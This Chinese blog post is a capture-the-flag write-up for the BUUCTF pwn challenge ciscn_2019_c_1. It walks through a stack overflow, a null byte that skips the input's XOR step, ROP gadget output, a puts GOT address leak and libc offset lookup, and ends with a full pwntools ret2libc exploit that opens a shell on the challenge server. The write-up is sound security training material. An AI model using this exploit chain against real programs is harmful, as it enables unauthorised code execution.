首页 > 其他分享 >buuctf-pwn-ciscn_2019_c_1-ret2libc

buuctf-pwn-ciscn_2019_c_1-ret2libc

时间:2024-05-08 17:36:03浏览次数:22  
标签:buuctf p64 puts pop 2019 ret pwn got payload

检查一下保护情况

ida里选项2,3都没有什么重要的信息,直接看选项1

发现栈溢出漏洞,不过程序对输入的字符串有一个异或加密,这里可以构造异或后的payload,利用程序来解密,或者可以直接在payload第一位加上'\x00',直接截断payload后面的异或操作
用cyclic测一下溢出点,得到88
找一下system函数,没有;再找一下系统调用指令,也没有;
那么这题应该是要泄露libc了

那么我们找一下plt与got中puts函数的地址,因为之前运行过puts函数了,所以此时got中存放的就是puts函数在内存中的地址
调用puts函数时用的是plt中的地址,参数为rdi,所以我们找一下pop rdi,将rdi替换为puts函数在got表中的位置
调用puts函数,打印出puts函数的地址

找一下pop rdi

ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/11.ciscn_2019_c_1]
└─# ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

Unique gadgets found: 15

0x0000000000400c83 : pop rdi ; ret 这条可以用

然后打印出puts函数的地址

打印puts函数的地址
from pwn import *

#context.log_level = "debug"

p = remote('node5.buuoj.cn',26093)
#p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

pop_rdi = 0x400c83
encrypt = 0x4009a0

p.recvuntil(b'Input your choice!')
p.sendline(b'1')

payload = b'\x00'+b'A'*87
payload+= p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt)

p.recvuntil(b'Input your Plaintext to be encrypted')
p.sendline(payload)

p.recvuntil(b"Ciphertext")
puts_addr = u64(p.recv(8)[2:8].ljust(8,b'\x00'))

info(hex(puts_addr))

p.interactive()

利用info打印出puts函数的地址: 0x7fcee41e39c0
虽然libc基址在加载时会变动,但是libc中函数的低位却不会变,所以我们搜索一下puts函数的低三位9c0,利用这个网站:https://libc.blukat.me/?q=puts%3A9c0&l=libc6_2.27-0ubuntu2_amd64

puts_offset = 0x0809c0
system_offset = 0x04f440
binsh_offset = 0x1b3e9a

下面开始写exp

exp
from pwn import *

#context.log_level = "debug"

p = remote('node5.buuoj.cn',26093)
#p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_got = elf.got['gets']

pop_rdi = 0x400c83
ret = 0x4006b9
encrypt = 0x4009a0

puts_offset = 0x0809c0
system_offset = 0x04f440
binsh_offset = 0x1b3e9a

p.recvuntil(b'Input your choice!')
p.sendline(b'1')

payload = b'\x00'+b'A'*87
payload+= p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(encrypt)

p.recvuntil(b'Input your Plaintext to be encrypted')
p.sendline(payload)

p.recvuntil(b"Ciphertext")
puts_addr = u64(p.recv(8)[2:8].ljust(8,b'\x00'))

#info(hex(puts_addr))

libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

payload = b'\x00'+b'A'*87
payload+= p64(pop_rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)

p.sendline(payload)

p.interactive()

标签:buuctf,p64,puts,pop,2019,ret,pwn,got,payload
From: https://www.cnblogs.com/zzkkk1h/p/18179616

相关文章

  • buuctf-pwn-[第五空间2019 决赛]PWN5-格式化字符串漏洞
    题目地址:https://buuoj.cn/challenges#[第五空间2019决赛]PWN5先检查一下保护情况再拖进ida里分析找到一个格式化字符串漏洞,那么我们可以利用这个漏洞去获取或者改写dword_804C044的值从而进入if语句中,拿到shell什么是格式化字符串漏洞所谓格式化字符串漏洞,就是我们能控......
  • buuctf中Crypto解题合集
    一、一眼就解密ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30=base64在线编解码:https://base64.supfree.net/二、MD5e00cf25ad42683b3df678c61f42c6bdaMD5在线解码:https://www.cmd5.com/三、Url编码%66%6c%61%67%7b%61%6e%64%20%31%3d%31%7durl编码在线网站:https://anytexte......
  • [CSCCTF 2019 Qual]FlaskLight
    [CSCCTF2019Qual]FlaskLight打开环境源代码里发现可通过GET方式传入参数简单验证发现存在SSTI{{''.__class__.__mro__[2].__subclasses__()}}#可以爆出所有的类编写脚本查找可利用的类利用subprocess.Popen执行命令importrequestsimportreimporthtmlimportt......
  • unicode编码 asis_2019_unicorn_shop
    这题就是让我们购买第四个商品当我们输入price为1337.0的时候他会报错,显示要我们只输入一个字符那么我们就要想怎样用一个字符来表示一个比1337还要大的数字答案是unicode编码(题目的名字给了提示)上这个网站我们直接查看2000的unicode编码把这个编码复制一......
  • 14、pWnOS_v2.0(VulnHub)
    pWnOS_v2.0一、nmap靶机ip找不见的自行上网查找解决办法。二、web渗透目录爆破/blog/whatweb/search.php/register.phpqwe123qwe点击给定的链接兔子洞,无法登入?一直卡在这个界面wfuzz貌似没什么用nmap->目录SimplePHPBlog0.4.0perl1191.pl......
  • XYCTF pwn部分题解 (部分题目详解)
    hello_world(签到)思路:✅这道题就是利用printf函数泄露libc的基地址,然后再次进行栈溢出通过system,/bin/sh来获取shellwp:invisible_flag思路:✅题目提示orw,那我们先看看是否开了沙盒那么是开了沙盒的,试试orw读取flag虽然保护全开但是程序会执行我们写的shellcdoe那么就可......
  • 洛谷 P5293 [HNOI2019] 白兔之舞
    洛谷传送门所求即为:\[\begin{aligned}f_t&=\sum\limits_{m=0}^L\binom{L}{m}A^m[k\midm-t]\\&=\frac{1}{k}\sum\limits_{m=0}^L\binom{L}{m}A^m\sum\limits_{i=0}^{k-1}\omega_k^{i(m-t)}\\&=\frac{1}{k}\sum\l......
  • ctfshow-pwn15
    该题目是很简单,总结一些需要的知识点:使用as手动编译asm文件使用ld手动链接可执行文件文件下载后是一个名为flag.asm的文件首先使用nasm命令编译为flag.o文件nasm-felf32flag.asm-oflag.o-f:指定编译文件类型-o:指定编译后导出的文件名编译后会生成一个flag.o......
  • [FBCTF2019]RCEService
    [FBCTF2019]RCEService打开环境,提示输入JSON格式输入{"cmd":"ls"},只有一个index,php,而且不能读取到这卡住了,找了师傅们的WP发现源码<?phpputenv('PATH=/home/rceservice/jail');if(isset($_REQUEST['cmd'])){$json=$_REQUEST['cmd'];......
  • 2018-2019 ACM-ICPC, China Multi-Provincial Collegiate Programming Contest
    A.MaximumElementInAStack按照题目模拟就好,栈内的最大值可以维护单调栈解决。#include<bits/stdc++.h>usingnamespacestd;usingi64=longlong;usingui32=unsignedint;ui32SA,SB,SC;ui32rng61(){SA^=SA<<16;SA^=SA>>5;SA^......